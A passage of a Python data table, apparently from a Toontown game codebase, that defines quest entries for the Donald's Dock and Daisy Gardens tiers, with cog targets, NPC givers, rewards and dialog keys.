TTLocalizer.QuestDialogDict[1304]), 1305: (DD_TIER, Cont, (CogTrackQuest, 1400, 8, 's'), Same, Same, NA, 1306, TTLocalizer.QuestDialogDict[1305]), 1306: (DD_TIER, Cont, (BuildingQuest, ToontownGlobals.DonaldsDock, 1, Any, 2), Same, Same, NA, (1307, 1308), TTLocalizer.QuestDialogDict[1306]), 1307: (DD_TIER, Cont, (RecoverItemQuest, 1100, 1, 61, Medium, 'p'), Same, Same, NA, 401, TTLocalizer.QuestDialogDict[1307]), 1308: (DD_TIER, Cont, (RecoverItemQuest, 1100, 1, 61, Medium, 'ym'), Same, Same, NA, 401, TTLocalizer.QuestDialogDict[1308]), 401: (DD_TIER, Cont, (TrackChoiceQuest,), Same, Same, 400, NA, TTLocalizer.QuestDialogDict[401]), 2001: (DD_TIER, Start, (CogQuest, Anywhere, 3, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2002: (DD_TIER, Start, (CogQuest, Anywhere, 4, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2003: (DD_TIER, Start, (CogQuest, Anywhere, 5, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2004: (DD_TIER, Start, (CogQuest, Anywhere, 6, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2005: (DD_TIER, Start, (CogQuest, Anywhere, 7, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2006: (DD_TIER, Start, (CogQuest, Anywhere, 8, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2007: (DD_TIER, Start, (CogQuest, Anywhere, 9, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2008: (DD_TIER, Start, (CogQuest, Anywhere, 10, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2009: (DD_TIER, Start, (CogQuest, Anywhere, 12, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2010: (DD_TIER, Start, (CogLevelQuest, Anywhere, 2, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2011: (DD_TIER, Start, (CogLevelQuest, Anywhere, 3, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2012: (DD_TIER, Start, (CogLevelQuest, Anywhere, 2, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2013: (DD_TIER, Start, (CogLevelQuest, Anywhere, 4, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2014: (DD_TIER, Start, (CogLevelQuest, Anywhere, 4, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2015: (DD_TIER, Start, (CogLevelQuest, Anywhere, 5, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2816: (DD_TIER, Start, (CogLevelQuest, Anywhere, 7, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2817: (DD_TIER, Start, (CogLevelQuest, Anywhere, 8, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2818: (DD_TIER, Start, (CogLevelQuest, Anywhere, 6, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2819: (DD_TIER, Start, (CogLevelQuest, Anywhere, 5, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2020: (DD_TIER, Start, (CogQuest, Anywhere, 10, Any), Any, ToonHQ, NA, 2021, DefaultDialog), 2021: (DD_TIER, Cont, (DeliverItemQuest, 1000), Any, 1007, 1000, NA, DefaultDialog), 2101: (DD_TIER + 1, Start, (CogQuest, ToontownGlobals.DonaldsDock, 3, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2102: (DD_TIER + 1, Start, (CogQuest, ToontownGlobals.DonaldsDock, 4, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2103: (DD_TIER + 1, Start, (CogQuest, ToontownGlobals.DonaldsDock, 5, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2104: (DD_TIER + 1, Start, (CogQuest, Anywhere, 6, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2105: (DD_TIER + 1, Start, (CogQuest, Anywhere, 7, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2106: (DD_TIER + 1, Start, (CogQuest, Anywhere, 8, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2107: (DD_TIER + 1, Start, (CogQuest, Anywhere, 6, 'f'), Any, ToonHQ, Any, NA, DefaultDialog), 2108: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'p'), Any, ToonHQ, Any, NA, DefaultDialog), 2109: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'ym'), Any, ToonHQ, Any, NA, DefaultDialog), 2110: (DD_TIER + 1, Start, (CogQuest, Anywhere, 3, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 2111: (DD_TIER + 1, Start, (CogQuest, Anywhere, 2, 'ds'), Any, ToonHQ, Any, NA, DefaultDialog), 2112: (DD_TIER + 1, Start, (CogQuest, Anywhere, 2, 'txm'), Any, ToonHQ, Any, NA, DefaultDialog), 2113: (DD_TIER + 1, Start, (CogQuest, Anywhere, 6, 'cc'), Any, ToonHQ, Any, NA, DefaultDialog), 2114: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 2115: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 2116: (DD_TIER + 1, Start, (CogQuest, Anywhere, 3, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 2117: (DD_TIER + 1, Start, (CogQuest, Anywhere, 2, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 2118: (DD_TIER + 1, Start, (CogQuest, Anywhere, 5, 'cn'), Any, ToonHQ, Any, NA, DefaultDialog), 2119: (DD_TIER + 1, Start, (CogQuest, Anywhere, 6, 'sc'), Any, ToonHQ, Any, NA, DefaultDialog), 2120: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'pp'), Any, ToonHQ, Any, NA, DefaultDialog), 2121: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'tw'), Any, ToonHQ, Any, NA, DefaultDialog), 2122: (DD_TIER + 1, Start, (CogQuest, Anywhere, 3, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 2123: (DD_TIER + 1, Start, (CogQuest, Anywhere, 2, 'nc'), Any, ToonHQ, Any, NA, DefaultDialog), 2124: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'sw'), Any, ToonHQ, Any, NA, DefaultDialog), 2125: (DD_TIER + 1, Start, (CogQuest, Anywhere, 6, 'bf'), Any, ToonHQ, Any, NA, DefaultDialog), 2126: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 2127: (DD_TIER + 1, Start, (CogQuest, Anywhere, 4, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 2128: (DD_TIER + 1, Start, (CogQuest, Anywhere, 3, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 2129: (DD_TIER + 1, Start, (CogQuest, Anywhere, 2, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 2130: (DD_TIER + 1, Start, (CogQuest, Anywhere, 3, 'mdm'), Any, ToonHQ, Any, NA, DefaultDialog), 2131: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 2, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2132: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 3, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2133: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 2, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2134: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 4, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2135: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 4, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2136: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 5, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2137: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 4, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2138: (DD_TIER + 1, Start, (CogLevelQuest, ToontownGlobals.DonaldsDock, 10, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2139: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 3, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 2140: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 3, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 2141: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 3, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 2142: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 3, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 2143: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 5, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 2144: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 5, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 2145: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 5, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 2146: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 5, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 2147: (DD_TIER + 1, Start, (CogTrackQuest, Anywhere, 7, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 2148: (DD_TIER + 1, Start, (CogTrackQuest, Anywhere, 7, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 2149: (DD_TIER + 1, Start, (CogTrackQuest, Anywhere, 7, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 2150: (DD_TIER + 1, Start, (CogTrackQuest, Anywhere, 7, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 2151: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 1, Any, 1), Any, ToonHQ, Any, NA, DefaultDialog), 2152: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 1, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 2153: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 2, Any, 1), Any, ToonHQ, Any, NA, DefaultDialog), 2154: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 2, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 2155: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 1, 'm', 1), Any, ToonHQ, Any, NA, DefaultDialog), 2156: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 1, 's', 1), Any, ToonHQ, Any, NA, DefaultDialog), 2157: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 1, 'c', 1), Any, ToonHQ, Any, NA, DefaultDialog), 2158: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 1, 'l', 1), Any, ToonHQ, Any, NA, DefaultDialog), 2159: (DD_TIER + 1, Start, (CogQuest, Anywhere, 10, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2160: (DD_TIER + 1, Start, (CogQuest, Anywhere, 11, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2161: (DD_TIER + 1, Start, (CogQuest, Anywhere, 12, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2162: (DD_TIER + 1, Start, (CogQuest, Anywhere, 13, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2201: (DD_TIER + 1, Start, (VisitQuest,), Any, 1211, NA, 2202, TTLocalizer.QuestDialogDict[2201]), 2202: (DD_TIER + 1, Start, (CogTrackQuest, 1200, 10, 'm'), 1211, Same, 801, NA, TTLocalizer.QuestDialogDict[2202]), 2203: (DD_TIER + 1, Start, (VisitQuest,), Any, 1123, NA, 2204, TTLocalizer.QuestDialogDict[2203]), 2204: (DD_TIER + 1, Start, (RecoverItemQuest, Anywhere, 2, 27, 70, 'txm'), 1123, Same, NA, 2205, TTLocalizer.QuestDialogDict[2204]), 2205: (DD_TIER + 1, Cont, (DeliverItemQuest, 27), Same, 1224, NA, 2206, TTLocalizer.QuestDialogDict[2205]), 2206: (DD_TIER + 1, Cont, (CogQuest, ToontownGlobals.DonaldsDock, 3, 'mdm'), 1224, Same, 201, NA, TTLocalizer.QuestDialogDict[2206]), 2207: (DD_TIER + 1, Start, (VisitQuest,), Any, 1213, NA, 2208, TTLocalizer.QuestDialogDict[2207]), 2208: (DD_TIER + 1, Start, (RecoverItemQuest, Anywhere, 10, 30, Easy, 's', 'track'), 1213, Same, 701, NA, TTLocalizer.QuestDialogDict[2208]), 2209: (DD_TIER + 1, Start, (VisitQuest,), Any, 1330, NA, 2210, TTLocalizer.QuestDialogDict[2209]), 2210: (DD_TIER + 1, Start, (CogTrackQuest, 1300, 5, 'g'), 1330, Same, NA, 2211, TTLocalizer.QuestDialogDict[2210]), 2211: (DD_TIER + 1, Cont, (CogTrackQuest, 1300, 5, 'l'), Same, Same, NA, 2212, TTLocalizer.QuestDialogDict[2211]), 2212: (DD_TIER + 1, Cont, (VisitQuest,), Same, 1122, NA, 2213, TTLocalizer.QuestDialogDict[2212]), 2213: (DD_TIER + 1, Cont, (CogLevelQuest, 1100, 7, 4), 1122, Same, NA, 2214, TTLocalizer.QuestDialogDict[2213]), 2214: (DD_TIER + 1, Cont, (RecoverItemQuest, 1100, 1, 31, Hard, 4, 'level'), Same, Same, NA, 2215, TTLocalizer.QuestDialogDict[2214]), 2215: (DD_TIER + 1, Cont, (DeliverItemQuest, 31), Same, 1330, 301, NA, TTLocalizer.QuestDialogDict[2215]), 2216: (DD_TIER + 1, Start, (VisitQuest,), Any, 1315, NA, 2217, TTLocalizer.QuestDialogDict[2216]), 2217: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 15, 'g'), Same, 1315, 101, NA, TTLocalizer.QuestDialogDict[2217]), 2218: (DD_TIER + 1, Start, (VisitQuest,), Any, 1404, NA, 2219, TTLocalizer.QuestDialogDict[2218]), 2219: (DD_TIER + 1, Start, (CogTrackQuest, 1400, 10, 's'), 1125, Same, NA, 2220, TTLocalizer.QuestDialogDict[2219]), 2220: (DD_TIER + 1, Cont, (CogLevelQuest, 1400, 7, 5), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[2220]), 2221: (DD_TIER + 1, Start, (VisitQuest,), Any, 1414, NA, 2222, TTLocalizer.QuestDialogDict[2221]), 2222: (DD_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DonaldsDock, 10, 'c'), 1414, Same, NA, 2223, TTLocalizer.QuestDialogDict[2222]), 2223: (DD_TIER + 1, Cont, (RecoverItemQuest, 1400, 1, 67, Medium, Any), Same, Same, 100, NA, TTLocalizer.QuestDialogDict[2223]), 2224: (DD_TIER + 1, Start, (VisitQuest,), Any, 1218, NA, 2225, TTLocalizer.QuestDialogDict[2224]), 2225: (DD_TIER + 1, Start, (CogQuest, 1200, 8, 'sc'), 1218, Same, NA, 2226, TTLocalizer.QuestDialogDict[2225]), 2226: (DD_TIER + 1, Cont, (RecoverItemQuest, 1200, 1, 29, Hard, 'm', 'track'), Same, Same, 101, NA, TTLocalizer.QuestDialogDict[2226]), 2227: (DD_TIER + 1, Start, (VisitQuest,), Any, 1112, NA, 2228, TTLocalizer.QuestDialogDict[2227]), 2228: (DD_TIER + 1, Start, (BuildingQuest, Anywhere, 2, Any, 2), 1112, Same, 808, NA, TTLocalizer.QuestDialogDict[2228]), 2229: (DD_TIER + 1, Start, (VisitQuest,), Any, 1104, NA, 2230, TTLocalizer.QuestDialogDict[2229]), 2230: (DD_TIER + 1, Start, (RecoverItemQuest, 1100, 5, 2003, Easy, 'f'), 1104, Same, NA, 2231, TTLocalizer.QuestDialogDict[2230]), 2231: (DD_TIER + 1, Cont, (RecoverItemQuest, ToontownGlobals.DonaldsDock, 5, 2004, Easy, 'cn'), Same, Same, 100, NA, TTLocalizer.QuestDialogDict[2231]), 2232: (DD_TIER + 1, Start, (VisitQuest,), Any, 1304, NA, 2233, TTLocalizer.QuestDialogDict[2232]), 2233: (DD_TIER + 1, Start, (CogLevelQuest, Anywhere, 10, 5), 1304, Same, 814, NA, TTLocalizer.QuestDialogDict[2233]), 2500: (DD_TIER + 1, Start, (CogQuest, ToontownGlobals.DonaldsDock, 15, Any), Any, ToonHQ, NA, 2501, DefaultDialog), 2501: (DD_TIER + 1, Cont, (DeliverItemQuest, 1000), Any, 1007, 1000, NA, DefaultDialog), 2801: (DD_TIER + 2, Start, (CogQuest, Anywhere, 3, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2802: (DD_TIER + 2, Start, (CogQuest, Anywhere, 4, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2803: (DD_TIER + 2, Start, (CogQuest, Anywhere, 5, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2804: (DD_TIER + 2, Start, (CogQuest, Anywhere, 6, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2805: (DD_TIER + 2, Start, (CogQuest, Anywhere, 7, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2806: (DD_TIER + 2, Start, (CogQuest, Anywhere, 8, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2807: (DD_TIER + 2, Start, (CogQuest, Anywhere, 9, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2808: (DD_TIER + 2, Start, (CogQuest, Anywhere, 10, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2809: (DD_TIER + 2, Start, (CogQuest, Anywhere, 12, Any), Any, ToonHQ, Any, NA, DefaultDialog), 2810: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 2, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2811: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 3, 3), Any, ToonHQ, Any, NA, DefaultDialog), 2812: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 2, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2813: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 4, 4), Any, ToonHQ, Any, NA, DefaultDialog), 2814: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 4, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2815: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 5, 5), Any, ToonHQ, Any, NA, DefaultDialog), 2816: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 4, 6), Any, ToonHQ, Any, NA, DefaultDialog), 2817: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 5, 6), Any, ToonHQ, Any, NA, DefaultDialog), 2818: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 6, 6), Any, ToonHQ, Any, NA, DefaultDialog), 2819: (DD_TIER + 2, Start, (CogLevelQuest, Anywhere, 7, 6), Any, ToonHQ, Any, NA, DefaultDialog), 2820: (DD_TIER + 2, Start, (CogQuest, Anywhere, 20, Any), Any, ToonHQ, NA, 2821, DefaultDialog), 2821: (DD_TIER + 2, Cont, (DeliverItemQuest, 1000), Any, 1007, 1000, NA, DefaultDialog), 901: (DD_TIER + 2, Start, (VisitQuest,), Any, 1215, NA, 2902, TTLocalizer.QuestDialogDict[901]), 2902: (DD_TIER + 2, Start, (VisitQuest,), 1215, 1212, NA, 2903, TTLocalizer.QuestDialogDict[2902]), 2903: (DD_TIER + 2, Cont, (RecoverItemQuest, 1200, 1, 2009, Medium, 5, 'level'), 1212, 1215, NA, 2904, TTLocalizer.QuestDialogDict[2903]), 2904: (DD_TIER + 2, Cont, (VisitQuest,), 1215, 1210, NA, 2905, TTLocalizer.QuestDialogDict[2904]), 2905: (DD_TIER + 2, Cont, (RecoverItemQuest, 1300, 1, 2010, Hard, 'bs'), 1210, 1215, NA, 2906, TTLocalizer.QuestDialogDict[2905]), 2906: (DD_TIER + 2, Cont, (VisitQuest,), 1215, 1320, NA, 2907, TTLocalizer.QuestDialogDict[2906]), 2907: (DD_TIER + 2, Cont, (CogLevelQuest, 1300, 8, 5, 'c', 'track'), 1320, Same, NA, (2910, 2915, 2920), TTLocalizer.QuestDialogDict[2907]), 2910: (DD_TIER + 2, Cont, (VisitQuest,), Same, 1324, NA, 2911, TTLocalizer.QuestDialog_2910), 2911: (DD_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.DonaldsDock, 1, 2012, Hard, 'txm'), 1324, 1320, NA, 2925, TTLocalizer.QuestDialogDict[2911]), 2915: (DD_TIER + 2, Cont, (VisitQuest,), Same, 1326, NA, 2916, TTLocalizer.QuestDialog_2910), 2916: (DD_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.DonaldsDock, 1, 2012, Hard, 'nc'), 1326, 1320, NA, 2925, TTLocalizer.QuestDialogDict[2916]), 2920: (DD_TIER + 2, Cont, (VisitQuest,), Same, 1310, NA, 2921, TTLocalizer.QuestDialog_2910), 2921: (DD_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.DonaldsDock, 1, 2012, Hard, 'ds'), 1310, 1320, NA, 2925, TTLocalizer.QuestDialogDict[2921]), 2925: (DD_TIER + 2, Cont, (DeliverItemQuest, 2011), Same, 1215, NA, 2926, TTLocalizer.QuestDialogDict[2925]), 2926: (DD_TIER + 2, Cont, (BuildingQuest, ToontownGlobals.DonaldsDock, 3, Any, 2), 1215, Same, 900, NA, TTLocalizer.QuestDialogDict[2926]), 3101: (DG_TIER + 1, Start, (CogQuest, ToontownGlobals.DaisyGardens, 8, Any), Any, ToonHQ, Any, NA, DefaultDialog), 3102: (DG_TIER + 1, Start, (CogQuest, ToontownGlobals.DaisyGardens, 10, Any), Any, ToonHQ, Any, NA, DefaultDialog), 3103: (DG_TIER + 1, Start, (CogQuest, ToontownGlobals.DaisyGardens, 12, Any), Any, ToonHQ, Any, NA, DefaultDialog), 3104: (DG_TIER + 1, Start, (CogQuest, Anywhere, 14, Any), Any, ToonHQ, Any, NA, DefaultDialog), 3105: (DG_TIER + 1, Start, (CogQuest, Anywhere, 16, Any), Any, ToonHQ, Any, NA, DefaultDialog), 3106: (DG_TIER + 1, Start, (CogQuest, Anywhere, 18, Any), Any, ToonHQ, Any, NA, DefaultDialog), 3107: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'txm'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3108: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'p'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3109: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'ym'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3110: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'mm'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3111: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'ds'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3112: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'hh'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3113: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'mdm'), Any, ToonHQ, Any, NA, DefaultDialog), 3114: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 3115: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'nd'), Any, ToonHQ, Any, NA, DefaultDialog), 3116: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 3117: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'ms'), Any, ToonHQ, Any, NA, DefaultDialog), 3118: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'tf'), Any, ToonHQ, Any, NA, DefaultDialog), 3119: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'sw'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3120: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'pp'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3121: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'tw'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3122: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'bc'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3123: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'nc'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3124: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'mb'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3125: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'mg'), Any, ToonHQ, Any, NA, DefaultDialog), 3126: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 3127: (DG_TIER + 1, Start, (CogQuest, Anywhere, 8, 'dt'), Any, ToonHQ, Any, NA, DefaultDialog), 3128: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 3129: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'bs'), Any, ToonHQ, Any, NA, DefaultDialog), 3130: (DG_TIER + 1, Start, (CogQuest, Anywhere, 6, 'sd'), Any, ToonHQ, Any, NA, DefaultDialog), 3131: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 10, 3), Any, ToonHQ, Any, NA, DefaultDialog), 3132: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 15, 3), Any, ToonHQ, Any, NA, DefaultDialog), 3133: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 8, 4), Any, ToonHQ, Any, NA, DefaultDialog), 3134: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 12, 4), Any, ToonHQ, Any, NA, DefaultDialog), 3135: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 4, 5), Any, ToonHQ, Any, NA, DefaultDialog), 3136: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 6, 5), Any, ToonHQ, Any, NA, DefaultDialog), 3137: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 8, 6), Any, ToonHQ, Any, NA, DefaultDialog), 3138: (DG_TIER + 1, Start, (CogLevelQuest, Anywhere, 12, 6), Any, ToonHQ, Any, NA, DefaultDialog), 3139: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 6, 'm'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3140: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 6, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 3141: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 6, 'g'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3142: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 6, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 3143: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 10, 'm'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3144: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 10, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 3145: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 10, 'c'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3146: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 10, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 3147: (DG_TIER + 1, Start, (CogTrackQuest, Anywhere, 14, 'g'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3148: (DG_TIER + 1, Start, (CogTrackQuest, Anywhere, 14, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 3149: (DG_TIER + 1, Start, (CogTrackQuest, Anywhere, 14, 'c'), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3150: (DG_TIER + 1, Start, (CogTrackQuest, Anywhere, 14, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 3151: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 1, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 3152: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 2, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 3153: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 3, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 3154: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 4, Any, 2), Any, ToonHQ, Any, NA, DefaultDialog), 3155: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 'm', 2), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3156: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 's', 2), Any, ToonHQ, Any, NA, DefaultDialog), 3157: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 'c', 2), Any, ToonHQ, OBSOLETE, NA, DefaultDialog), 3158: (DG_TIER + 1, Start, (BuildingQuest, Anywhere, 2, 'l', 2), Any, ToonHQ, Any, NA, DefaultDialog), 3200: (DG_TIER + 1, Start, (VisitQuest,), Any, 5124, NA, 3201, TTLocalizer.QuestDialogDict[3200]), 3201: (DG_TIER + 1, Start, (CogTrackQuest, ToontownGlobals.DaisyGardens, 10, 'c'), 5124, Same, 100, NA, TTLocalizer.QuestDialogDict[3201]), 3204: (DG_TIER + 1, Start, (VisitQuest,), Any, 5402, NA, 3205, TTLocalizer.QuestDialogDict[3204]), 